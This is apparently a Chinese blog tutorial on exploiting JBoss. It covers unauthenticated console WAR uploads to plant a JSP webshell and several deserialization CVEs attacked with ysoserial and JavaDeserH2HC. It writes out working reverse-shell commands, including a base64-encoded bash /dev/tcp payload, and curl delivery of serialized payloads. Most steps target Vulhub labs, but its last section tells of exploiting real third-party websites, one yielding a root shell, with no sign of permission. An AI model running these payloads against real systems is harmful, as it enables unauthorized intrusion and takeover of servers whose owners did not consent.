Jboss未授权访问漏洞合集
JBoss 4
使用vulnhub提供的环境
地址:Vulhub - Docker-Compose file for vulnerability environment
搭建环境完成后打开
打开控制台
这里用vulnhub搭建的环境是需要密码的,密码为admin:admin,但是我们模拟的环境是未授权访问,也就是不用密码就能登陆控制台,所以就假设不需要密码吧,密码文件:server/default/conf/props/jmx-console-users.properties
进入控制台后找到
打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以
点击invoke后显示
我在这里出现了问题,不管怎么上传都找不到这个地址,所以下面就只写一下过程
有一些文章里面写了要返回页面点击apply change
理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包
如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可
经过查看本地文件,发现并没有上传,没有流量经过,不知道是服务器问题还是环境问题,但是方法就是这样的
Jboss6
流程和4差不多,只不过页面不一样了
环境搭建:Vulhub - Docker-Compose file for vulnerability environment
搭建完后打开,同样打开JMX Cpnsole,这里一样是有密码的,密码为admin:vulhub,密码文件路径:/server/default/conf/props/jbossws-users.properties
然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke
然后和jboss4一样访问页面即可
这次上传的时候确实有流量了,但是上传的却不完整,所以也没有办法成功复现,我觉得应该是vulnhub的环境问题
JBoss Administration Console
搭建环境:Vulhub - Docker-Compose file for vulnerability environment
适用范围:
JBoss6
首先打开Administration Console,使用vulhub搭建的环境是有密码的,但是我们要模拟的是没有密码或者是弱口令的情况下,所以就直接登入了
密码:admin:vulnhub
登入后打开Web Application (WAR) 页面,上传恶意WAR包
上传成功后查看一下上传的包是否正常开启,默认是正常开启
如果不开启则要手动开启
然后访问8080/hack/hack.jsp即可,路径为war内文件名
msf成功反弹shell
JBOSS反序列化漏洞合集
由于反序列化漏洞的攻击方式都是一样的,只是漏洞发生的文件和成因不同,所以就以JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)为例子过一遍流程
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化
使用环境:Vulhub - Docker-Compose file for vulnerability environment
漏洞验证:
访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞
使用JavaDeserH2HC攻击
使用工具JavaDeserH2HC
首先先设置监听
nc -lvp 6969
然后使用刚才下载的工具进行反弹shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java //生成序列化数据ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969 //以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包 curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
这是可以看到反弹shell了
发现有很多命令是没有回显的
使用ysoserial反弹Shell
注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
命令
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
最后针对此漏洞再推荐几个脚本:
yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)
sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)
都可以免去大量的步骤达到同样的效果
防护
删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
升级JBoss
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
原理其实和上面的差不多,流程也差不多
使用vulhub提供的环境:Vulhub - Docker-Compose file for vulnerability environment
原理
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
攻击
首先搭建环境,搭建完后打开页面
漏洞验证
访问:8080/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell
使用工具JavaDeserH2HC
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java //生成序列化数据ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969 //以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包 curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
反弹成功
同样发现有很多命令是没有回显的,如果想要使用回显可以使用CVE-2017-12149的第二种方法,也可以使用一些自动化工具,比如
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
适用范围:
Jboss AS 4.x及之前版本
漏洞环境:
Vulhub - Docker-Compose file for vulnerability environment
漏洞验证:
访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞
攻击
攻击时方式和前几个一样,先生成一个序列化数据,然后通过包发送,生成方式一样
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i} java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
由于过程和上面的一摸一样我就不细写了
反弹shell
JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
影响版本:
jboss 6.x 版本
漏洞验证:
访问/invoker/EJBInvokerServlet,如果如下图所示代表存在此漏洞
使用ysoserial反弹Shell
注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
命令
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/EJBInvokerServlet --data-binary @hack.ser
由于过程和上面的一摸一样我就不细写了
反弹shell
自动化工具
一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面
下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
JexBoss工具,可以用来检测弱口令和反序列化
首先先设置监听,设置监听后启动工具
python ./jexboss.py -host http://192.168.200.43:8080/
首先会先扫描是否存在漏洞,然后验证未授权漏洞
未授权漏洞验证失败后验证反序列化漏洞
如果成功执行输入监听的ip的端口反弹shell
实战
找到了一个使用Jboss的网站
直接访问该网站的/invoker/EJBInvokerServlet页面,发现返回文件,确定含有漏洞
直接使用ysoseriall和CommonsCollections5来生成序列化数据,监听本机的端口,然后发送成功反弹shell
而且运气很好拿到的shell是root权限的
还找到了另外一个网站,对漏洞进行测试
访问:8080/invoker/readonly,返回状态码500
访问/invoker/JMXInvokerServlet,返回下载,说明漏洞存在
访问/jbossmq-httpil/HTTPServerILServlet显示页面,说明含有漏洞
访问/invoker/EJBInvokerServlet,返回下载,说明有漏洞
不过最后并没有成功反弹shell猜测原因应该是因为目标系统执行bash命令有问题,导致命令无法正常执行。